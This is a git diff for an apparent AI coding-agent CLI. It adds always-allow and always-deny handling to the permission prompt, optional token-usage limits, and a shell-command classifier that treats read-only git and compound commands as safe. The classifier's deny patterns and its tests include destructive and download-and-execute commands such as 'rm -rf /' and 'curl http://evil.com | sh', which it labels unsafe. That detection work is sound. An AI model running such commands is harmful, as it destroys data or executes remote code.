diff --git a/cmd/chat_permission_keys_test.go b/cmd/chat_permission_keys_test.go new file mode 100644 index 00000000..101945ef --- /dev/null +++ b/cmd/chat_permission_keys_test.go @@ -0,0 +1,80 @@ +package cmd + +import ( + "strings" + "testing" + "time" + + tea "charm.land/bubbletea/v2" + contracts "github.com/GrayCodeAI/hawk-core-contracts/policy" + "github.com/GrayCodeAI/hawk/internal/engine" +) + +func TestPermissionAlwaysAllowDoesNotNilDeref(t *testing.T) { + m := newTestChatModel() + req := engine.PermissionRequest{ + PermissionRequest: contracts.PermissionRequest{ + ToolName: "Bash", + Summary: "git -C /tmp status", + }, + Response: make(chan bool, 1), + } + + next, _ := m.Update(permissionAskMsg{req: req}) + cm := requireChatModel(t, next) + if cm.permReq == nil { + t.Fatal("expected active permission request") + } + + next, _ = cm.Update(tea.KeyPressMsg{Code: 'a', Text: "a"}) + cm = requireChatModel(t, next) + if cm.permReq != nil { + t.Fatal("expected permission request cleared after always-allow") + } + select { + case allowed := <-req.Response: + if !allowed { + t.Fatal("expected always-allow to approve the request") + } + case <-time.After(time.Second): + t.Fatal("timed out waiting for permission response") + } + if got := lastSystemMessage(cm.messages); !strings.Contains(got, "Always allowed: Bash") { + t.Fatalf("unexpected always-allow message: %q", got) + } + decision := cm.session.Perm.Memory.Check("Bash", "anything") + if decision == nil || !*decision { + t.Fatal("expected Bash:* always-allow rule to be recorded") + } +} + +func TestPermissionAlwaysDenyDoesNotNilDeref(t *testing.T) { + m := newTestChatModel() + req := engine.PermissionRequest{ + PermissionRequest: contracts.PermissionRequest{ + ToolName: "Bash", + Summary: "rm -rf /", + }, + Response: make(chan bool, 1), + } + + next, _ := m.Update(permissionAskMsg{req: req}) + cm := requireChatModel(t, next) + + next, _ = cm.Update(tea.KeyPressMsg{Code: 'd', Text: "d"}) + cm = requireChatModel(t, next) + if cm.permReq != nil { + t.Fatal("expected permission request cleared after always-deny") + } + select { + case allowed := <-req.Response: + if allowed { + t.Fatal("expected always-deny to reject the request") + } + case <-time.After(time.Second): + t.Fatal("timed out waiting for permission response") + } + if got := lastSystemMessage(cm.messages); !strings.Contains(got, "Always denied: Bash") { + t.Fatalf("unexpected always-deny message: %q", got) + } +} diff --git a/cmd/chat_update.go b/cmd/chat_update.go index 5fa904b2..aaac1c11 100644 --- a/cmd/chat_update.go +++ b/cmd/chat_update.go @@ -610,31 +610,55 @@ func (m chatModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) { return m, tea.Batch(append(cmds, cmd)...) } - // Permission prompt active ā€” handle y/n + // Permission prompt active ā€” handle y/n/a/d if m.permReq != nil { switch msg.String() { case "y", "Y": - m.permReq.Response <- true + req := m.permReq + req.Response <- true m.permReq = nil m.permTimeoutAt = time.Time{} + if m.session != nil && m.session.Perm != nil && m.session.Perm.AutoMode != nil { + m.session.Perm.AutoMode.Record(req.ToolName, req.Summary, true) + } m.messages = append(m.messages, displayMsg{role: "system", content: icons.CheckBold() + " Allowed"}) case "n", "N": - m.permReq.Response <- false + req := m.permReq + req.Response <- false m.permReq = nil m.permTimeoutAt = time.Time{} + if m.session != nil && m.session.Perm != nil && m.session.Perm.AutoMode != nil { + m.session.Perm.AutoMode.Record(req.ToolName, req.Summary, false) + } m.messages = append(m.messages, displayMsg{role: "system", content: icons.CloseThick() + " Denied"}) case "a", "A": - m.permReq.Response <- true + req := m.permReq + toolName := req.ToolName + summary := req.Summary + req.Response <- true m.permReq = nil m.permTimeoutAt = time.Time{} - m.session.Perm.Memory.AlwaysAllowPattern(m.permReq.ToolName + ":*") - m.messages = append(m.messages, displayMsg{role: "system", content: icons.CheckBold() + " Always allowed: " + m.permReq.ToolName + " (all)"}) + if m.session != nil && m.session.Perm != nil { + m.session.Perm.Memory.AlwaysAllowPattern(toolName + ":*") + if m.session.Perm.AutoMode != nil { + m.session.Perm.AutoMode.Record(toolName, summary, true) + } + } + m.messages = append(m.messages, displayMsg{role: "system", content: icons.CheckBold() + " Always allowed: " + toolName + " (all)"}) case "d", "D": - m.permReq.Response <- false + req := m.permReq + toolName := req.ToolName + summary := req.Summary + req.Response <- false m.permReq = nil m.permTimeoutAt = time.Time{} - m.session.Perm.Memory.AlwaysDeny(m.permReq.ToolName) - m.messages = append(m.messages, displayMsg{role: "system", content: icons.CloseThick() + " Always denied: " + m.permReq.ToolName}) + if m.session != nil && m.session.Perm != nil { + m.session.Perm.Memory.AlwaysDeny(toolName) + if m.session.Perm.AutoMode != nil { + m.session.Perm.AutoMode.Record(toolName, summary, false) + } + } + m.messages = append(m.messages, displayMsg{role: "system", content: icons.CloseThick() + " Always denied: " + toolName}) } m.viewDirty = true m.updateViewportContent() diff --git a/cmd/options.go b/cmd/options.go index 4b2f013f..454f782e 100644 --- a/cmd/options.go +++ b/cmd/options.go @@ -307,6 +307,7 @@ func configureSessionStartup(sess *engine.Session, settings hawkconfig.Settings, if err := sess.SetMaxBudgetUSD(budget); err != nil { return err } + sess.ApplyTokUsageSettings(settings.HourlyTokenLimit, settings.DailyTokenLimit, settings.SessionTokenLimit) // Teach mode: augment system prompt with explanation instructions if teachMode { diff --git a/external/tok b/external/tok index 2afc7f54..7a7c3cba 160000 --- a/external/tok +++ b/external/tok @@ -1 +1 @@ -Subproject commit 2afc7f549e3567739b24553e8a2c0efb1bd63def +Subproject commit 7a7c3cbae89b4c08657523131a19378e9e1890eb diff --git a/internal/config/settings.go b/internal/config/settings.go index a6f39e19..818d0b4b 100644 --- a/internal/config/settings.go +++ b/internal/config/settings.go @@ -28,13 +28,18 @@ func fetchModelsViaRuntime(ctx context.Context, provider string) ([]EngineModel, type Settings struct { // Model and Provider are legacy fields read only for one-time migration into eyrie provider.json. // Hawk does not persist model/provider here; use SetActiveModel / SetActiveProvider. - Model string `json:"model,omitempty"` - Provider string `json:"provider,omitempty"` - Theme string `json:"theme,omitempty"` - AutoAllow []string `json:"auto_allow,omitempty"` // tools to always allow - AllowedTools []string `json:"allowedTools,omitempty"` // archive-compatible allow rules - DisallowedTools []string `json:"disallowedTools,omitempty"` // archive-compatible deny rules - MaxBudgetUSD float64 `json:"max_budget_usd,omitempty"` // cost cap per session + Model string `json:"model,omitempty"` + Provider string `json:"provider,omitempty"` + Theme string `json:"theme,omitempty"` + AutoAllow []string `json:"auto_allow,omitempty"` // tools to always allow + AllowedTools []string `json:"allowedTools,omitempty"` // archive-compatible allow rules + DisallowedTools []string `json:"disallowedTools,omitempty"` // archive-compatible deny rules + MaxBudgetUSD float64 `json:"max_budget_usd,omitempty"` // cost cap per session + // Optional local token ceilings. Disabled by default (provider rate limits + // own throughput). Set a positive value to opt in; -1 also means disabled. + HourlyTokenLimit int `json:"hourly_token_limit,omitempty"` + DailyTokenLimit int `json:"daily_token_limit,omitempty"` + SessionTokenLimit int `json:"session_token_limit,omitempty"` MCPServers []MCPServerConfig `json:"mcp_servers,omitempty"` CustomProviders []CustomProviderConfig `json:"custom_providers,omitempty"` RepoMap *bool `json:"repo_map,omitempty"` @@ -277,6 +282,15 @@ func MergeSettings(base, override Settings) Settings { if override.MaxBudgetUSD > 0 { base.MaxBudgetUSD = override.MaxBudgetUSD } + if override.HourlyTokenLimit != 0 { + base.HourlyTokenLimit = override.HourlyTokenLimit + } + if override.DailyTokenLimit != 0 { + base.DailyTokenLimit = override.DailyTokenLimit + } + if override.SessionTokenLimit != 0 { + base.SessionTokenLimit = override.SessionTokenLimit + } if len(override.AutoAllow) > 0 { base.AutoAllow = override.AutoAllow } @@ -387,6 +401,21 @@ func SettingValue(s Settings, key string) (string, bool) { return "", true } return strconv.FormatFloat(s.MaxBudgetUSD, 'f', -1, 64), true + case "hourlytokenlimit": + if s.HourlyTokenLimit == 0 { + return "", true + } + return strconv.Itoa(s.HourlyTokenLimit), true + case "dailytokenlimit": + if s.DailyTokenLimit == 0 { + return "", true + } + return strconv.Itoa(s.DailyTokenLimit), true + case "sessiontokenlimit": + if s.SessionTokenLimit == 0 { + return "", true + } + return strconv.Itoa(s.SessionTokenLimit), true case "mcpservers": data, _ := json.Marshal(s.MCPServers) return string(data), true @@ -444,6 +473,24 @@ func SetGlobalSetting(key, value string) error { return fmt.Errorf("invalid max budget: %w", err) } s.MaxBudgetUSD = amount + case "hourlytokenlimit": + n, err := strconv.Atoi(strings.TrimSpace(value)) + if err != nil { + return fmt.Errorf("invalid hourly_token_limit: %w", err) + } + s.HourlyTokenLimit = n + case "dailytokenlimit": + n, err := strconv.Atoi(strings.TrimSpace(value)) + if err != nil { + return fmt.Errorf("invalid daily_token_limit: %w", err) + } + s.DailyTokenLimit = n + case "sessiontokenlimit": + n, err := strconv.Atoi(strings.TrimSpace(value)) + if err != nil { + return fmt.Errorf("invalid session_token_limit: %w", err) + } + s.SessionTokenLimit = n case "deploymentrouting": switch strings.ToLower(strings.TrimSpace(value)) { case "1", "true", "yes", "on": diff --git a/internal/config/validator.go b/internal/config/validator.go index d8fa0692..696d36e3 100644 --- a/internal/config/validator.go +++ b/internal/config/validator.go @@ -81,6 +81,22 @@ func ValidateSettings(s Settings) ValidationResult { Value: fmt.Sprintf("%f", s.MaxBudgetUSD), }) } + for _, lim := range []struct { + field string + value int + }{ + {"hourlyTokenLimit", s.HourlyTokenLimit}, + {"dailyTokenLimit", s.DailyTokenLimit}, + {"sessionTokenLimit", s.SessionTokenLimit}, + } { + if lim.value < -1 { + errors = append(errors, ValidationError{ + Field: lim.field, + Message: "must be -1 (unlimited), 0 (default), or a positive token count", + Value: fmt.Sprintf("%d", lim.value), + }) + } + } return ValidationResult{ Errors: errors, diff --git a/internal/engine/execution_graph_observations_test.go b/internal/engine/execution_graph_observations_test.go index 92c42a2a..043e6287 100644 --- a/internal/engine/execution_graph_observations_test.go +++ b/internal/engine/execution_graph_observations_test.go @@ -176,6 +176,45 @@ func TestTokUsageBudgetStopsAtConfiguredLimit(t *testing.T) { } } +func TestApplyTokUsageSettingsOverridesAndDisables(t *testing.T) { + sess := NewSession("test", "test", "system", tool.NewRegistry()) + // Defaults: token ceilings off (provider rate limits own throughput). + defaults := sess.ensureTokUsageTracker().GetLimits() + if defaults.HourlyTokens != 0 || defaults.DailyTokens != 0 || defaults.SessionTokens != 0 { + t.Fatalf("expected disabled token ceilings by default, got %#v", defaults) + } + + sess.ApplyTokUsageSettings(250_000, -1, 0) + limits := sess.ensureTokUsageTracker().GetLimits() + if limits.HourlyTokens != 250_000 { + t.Fatalf("HourlyTokens = %d, want 250000", limits.HourlyTokens) + } + if limits.DailyTokens != 0 { + t.Fatalf("DailyTokens = %d, want 0 (disabled)", limits.DailyTokens) + } + if limits.SessionTokens != 0 { + t.Fatalf("SessionTokens = %d, want 0 (still disabled)", limits.SessionTokens) + } +} + +func TestDrainAlertsSurfacesHourlyWarning(t *testing.T) { + tracker := tok.NewUsageTracker() + tracker.SetLimits(tok.UsageLimits{ + HourlyTokens: 100, + DailyTokens: 10_000, + SessionTokens: 10_000, + CostUSD: 10, + }) + tracker.Record(55, 0, "provider", "model") + alerts := tracker.DrainAlerts() + if len(alerts) == 0 { + t.Fatal("expected threshold alert after crossing 50%") + } + if len(tracker.DrainAlerts()) != 0 { + t.Fatal("expected DrainAlerts to clear pending alerts") + } +} + func TestEyrieOperationObservationIsPrivacySafe(t *testing.T) { t.Setenv("HAWK_STATE_DIR", t.TempDir()) sess := NewSession("test", "test", "system", tool.NewRegistry()) diff --git a/internal/engine/permission_session_methods.go b/internal/engine/permission_session_methods.go index da9d3144..eeef6bdd 100644 --- a/internal/engine/permission_session_methods.go +++ b/internal/engine/permission_session_methods.go @@ -70,6 +70,36 @@ func (s *Session) SetMaxBudgetUSD(amount float64) error { return nil } +// ApplyTokUsageSettings optionally enables tok.UsageTracker token ceilings. +// Values: 0 or -1 leave/disable the ceiling (provider owns rate limits); +// >0 opts into a local cap. +func (s *Session) ApplyTokUsageSettings(hourly, daily, session int) { + if s == nil { + return + } + if hourly == 0 && daily == 0 && session == 0 { + return + } + tracker := s.ensureTokUsageTracker() + limits := tracker.GetLimits() + if hourly == -1 { + limits.HourlyTokens = 0 + } else if hourly > 0 { + limits.HourlyTokens = hourly + } + if daily == -1 { + limits.DailyTokens = 0 + } else if daily > 0 { + limits.DailyTokens = daily + } + if session == -1 { + limits.SessionTokens = 0 + } else if session > 0 { + limits.SessionTokens = session + } + tracker.SetLimits(limits) +} + func (s *Session) exceededBudget() bool { return s.LifecycleSvc().Limits().MaxBudgetUSD() > 0 && s.Cost.Total() > s.LifecycleSvc().Limits().MaxBudgetUSD() } diff --git a/internal/engine/stream_usage.go b/internal/engine/stream_usage.go index 1798cd6d..4cd251a0 100644 --- a/internal/engine/stream_usage.go +++ b/internal/engine/stream_usage.go @@ -2,6 +2,7 @@ package engine import ( "encoding/json" + "fmt" "strings" "time" @@ -105,6 +106,14 @@ func (s *Session) recordStreamUsage(ch chan<- StreamEvent, prompt, completion in Model: model, }, } + if tracker := s.currentTokUsageTracker(); tracker != nil { + for _, alert := range tracker.DrainAlerts() { + ch <- StreamEvent{ + Type: "content", + Content: fmt.Sprintf("\nāš  Usage %s: %s\n", alert.Level, alert.Message), + } + } + } } } diff --git a/internal/permissions/advanced.go b/internal/permissions/advanced.go index 420037b3..fed8cc93 100644 --- a/internal/permissions/advanced.go +++ b/internal/permissions/advanced.go @@ -9,19 +9,30 @@ import ( // Pre-compiled safe/unsafe patterns for performance. var ( - safeGitRe = regexp.MustCompile(`^git\s+(status|log|diff|show|branch)`) - safeLsRe = regexp.MustCompile(`^ls\s+`) + safeGitRe = regexp.MustCompile(`^git\s+(status|log|diff|show|branch)\b`) + safeLsRe = regexp.MustCompile(`^ls(\s+|$)`) safeCatRe = regexp.MustCompile(`^cat\s+`) - safeEchoRe = regexp.MustCompile(`^echo\s+`) - safeGoRe = regexp.MustCompile(`^go\s+(version|env|mod)`) + safeEchoRe = regexp.MustCompile(`^echo(\s+|$)`) + safePwdRe = regexp.MustCompile(`^pwd(\s+|$)`) + safeCdRe = regexp.MustCompile(`^cd(\s+|$)`) + safeGoRe = regexp.MustCompile(`^go\s+(version|env|mod)\b`) safeNodeRe = regexp.MustCompile(`^node\s+--version`) - safePythonRe = regexp.MustCompile(`^python\s+--version`) + safePythonRe = regexp.MustCompile(`^python3?\s+--version`) unsafeRmRe = regexp.MustCompile(`rm\s+-rf\s+/`) unsafeCurlRe = regexp.MustCompile(`curl\s+.*\|\s*(sh|bash)`) unsafeWgetRe = regexp.MustCompile(`wget\s+.*\|\s*(sh|bash)`) unsafeEvalRe = regexp.MustCompile(`eval\s+`) unsafeSudoRe = regexp.MustCompile(`sudo\s+`) + + // Read-only git subcommands that are safe to auto-approve. + safeGitSubcommands = map[string]bool{ + "status": true, + "log": true, + "diff": true, + "show": true, + "branch": true, + } ) // AutoModeState tracks auto-allow decisions for learning user preferences. @@ -204,6 +215,8 @@ func NewClassifier() *Classifier { safeLsRe, safeCatRe, safeEchoRe, + safePwdRe, + safeCdRe, safeGoRe, safeNodeRe, safePythonRe, @@ -219,16 +232,147 @@ func NewClassifier() *Classifier { } // Classify classifies a command as safe, unsafe, or unknown. +// Compound commands (cd && git -C status) are safe only when every +// segment is independently safe ā€” matching common agent shapes in Docker +// sessions that bind-mount the host project at the same absolute path. func (c *Classifier) Classify(command string) string { + cmd := strings.TrimSpace(command) + if cmd == "" { + return "unknown" + } for _, re := range c.unsafePatterns { - if re.MatchString(command) { + if re.MatchString(cmd) { return "unsafe" } } + segments := splitSafeCommandSegments(cmd) + if len(segments) == 0 { + return "unknown" + } + for _, seg := range segments { + if !c.isSafeSegment(seg) { + return "unknown" + } + } + return "safe" +} + +func (c *Classifier) isSafeSegment(segment string) bool { + seg := strings.TrimSpace(unwrapShell(segment)) + if seg == "" { + return true + } + if isSafeGitCommand(seg) { + return true + } for _, re := range c.safePatterns { - if re.MatchString(command) { - return "safe" + if re.MatchString(seg) { + return true } } - return "unknown" + return false +} + +// splitSafeCommandSegments splits on && / ; while ignoring quoted separators. +func splitSafeCommandSegments(command string) []string { + var ( + parts []string + current strings.Builder + quote rune + escaped bool + ) + flush := func() { + part := strings.TrimSpace(current.String()) + current.Reset() + if part != "" { + parts = append(parts, part) + } + } + runes := []rune(command) + for i := 0; i < len(runes); i++ { + r := runes[i] + if escaped { + current.WriteRune(r) + escaped = false + continue + } + if r == '\\' && quote != '\'' { + current.WriteRune(r) + escaped = true + continue + } + if quote != 0 { + current.WriteRune(r) + if r == quote { + quote = 0 + } + continue + } + if r == '\'' || r == '"' { + quote = r + current.WriteRune(r) + continue + } + if r == ';' { + flush() + continue + } + if r == '&' && i+1 < len(runes) && runes[i+1] == '&' { + flush() + i++ + continue + } + current.WriteRune(r) + } + flush() + return parts +} + +// isSafeGitCommand reports whether cmd is a read-only git invocation, including +// forms like `git -C /abs/path status` and `/usr/bin/git status --porcelain`. +func isSafeGitCommand(cmd string) bool { + tokens := tokenize(strings.TrimSpace(cmd)) + start := 0 + for start < len(tokens) && envPrefixRe.MatchString(tokens[start]) { + start++ + } + if start >= len(tokens) { + return false + } + if normalizePath(tokens[start]) == "env" { + start++ + for start < len(tokens) && envPrefixRe.MatchString(tokens[start]) { + start++ + } + if start >= len(tokens) { + return false + } + } + if normalizePath(stripQuotes(tokens[start])) != "git" { + return false + } + i := start + 1 + for i < len(tokens) { + tok := stripQuotes(tokens[i]) + switch { + case tok == "-C" || tok == "-c": + if i+1 >= len(tokens) { + return false + } + i += 2 + case tok == "--git-dir" || tok == "--work-tree": + if i+1 >= len(tokens) { + return false + } + i += 2 + case strings.HasPrefix(tok, "--git-dir=") || strings.HasPrefix(tok, "--work-tree="): + i++ + case strings.HasPrefix(tok, "-"): + // Other global flags (e.g. --no-pager) take no path argument. + i++ + default: + return safeGitSubcommands[tok] + } + } + return false } diff --git a/internal/permissions/advanced_test.go b/internal/permissions/advanced_test.go index 354f6195..a23f6a5f 100644 --- a/internal/permissions/advanced_test.go +++ b/internal/permissions/advanced_test.go @@ -73,11 +73,20 @@ func TestClassifier(t *testing.T) { expected string }{ {"git status", "safe"}, + {"git status --porcelain", "safe"}, + {"git -C /Users/me/proj status", "safe"}, + {"/usr/bin/git status", "safe"}, + {"cd /Users/me/proj && git status", "safe"}, + {"cd /Users/me/proj && git -C /Users/me/proj status", "safe"}, + {"pwd", "safe"}, {"ls -la", "safe"}, {"rm -rf /", "unsafe"}, {"curl http://evil.com | sh", "unsafe"}, {"echo hello", "safe"}, {"some-random-command", "unknown"}, + {"git checkout main", "unknown"}, + {"cd /tmp && rm -rf /", "unsafe"}, + {"cd /tmp && git push origin main", "unknown"}, } for _, tt := range tests { diff --git a/internal/permissions/canonicalize.go b/internal/permissions/canonicalize.go index 4a0602a4..f5fee160 100644 --- a/internal/permissions/canonicalize.go +++ b/internal/permissions/canonicalize.go @@ -225,9 +225,20 @@ func (c *Canonicalizer) ExtractSubcommand(command string) string { baseName := normalizePath(tokens[startIdx]) - // Find the first non-flag argument after the command + // Find the first non-flag argument after the command. For git, skip global + // options that take a path/value argument so `git -C /repo status` yields + // "git status" rather than "git /repo". for i := startIdx + 1; i < len(tokens); i++ { tok := stripQuotes(tokens[i]) + if baseName == "git" { + switch { + case tok == "-C" || tok == "-c" || tok == "--git-dir" || tok == "--work-tree": + i++ // consume the following argument + continue + case strings.HasPrefix(tok, "--git-dir=") || strings.HasPrefix(tok, "--work-tree="): + continue + } + } if !strings.HasPrefix(tok, "-") && !envPrefixRe.MatchString(tok) { return baseName + " " + tok } diff --git a/internal/permissions/canonicalize_test.go b/internal/permissions/canonicalize_test.go index 0330b987..b511fe23 100644 --- a/internal/permissions/canonicalize_test.go +++ b/internal/permissions/canonicalize_test.go @@ -250,6 +250,7 @@ func TestExtractSubcommand(t *testing.T) { {"docker compose up", "docker compose"}, {"go test -race ./...", "go test"}, {"git status", "git status"}, + {"git -C /Users/me/proj status", "git status"}, {"ls", "ls"}, {"ENV=prod npm install lodash", "npm install"}, {"/usr/bin/git commit -m hello", "git commit"},